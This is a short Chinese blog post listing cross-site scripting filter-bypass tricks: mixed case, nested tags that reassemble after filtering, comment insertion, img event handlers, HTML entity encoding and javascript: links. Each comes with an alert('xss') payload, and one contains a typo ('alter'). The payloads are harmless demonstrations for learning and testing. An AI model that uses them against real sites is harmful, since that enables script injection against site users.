XSS 绕过方法

2020-06-21  本文已影响0人  blank_white

1、大小写混用

<ScRiPt>alert("xss")</ScriPT>

2、拼凑
后台可能对一些字符过滤了一次,但是过滤后的其余字符又重新拼凑

<scri<script>pt>alert("xss")</sc</script>ript>

过滤之后:<script>alert("xss")</script>

3、注释干扰

<scri<!--ganrao-->pt>alter('xss')</sc<!--ganrao-->ript>

4、使用img标签

在装载图像的过程中如果发生了错误,就会触发onerror事件
<img src=x onerror='alert("xss")'/>

鼠标指针移动到图片后执行Javascript代码
<img src=x onmouseover='alert("xss")'/> 

5、编码

<img src=x onerror='alert("xss")'/>

把特殊符号 HTML 编码
<img src=x onerror='alert(&quot;xss&quot;)' />

也可以连同字母字符全部编码
<img src=x onerror='&#97;&#108;&#101;  …… &#41;'/>

6、在 <a> 标签中使用JavaScript协议

<a href="javascript:alert('xss')">请点我</a>
上一篇下一篇

猜你喜欢

热点阅读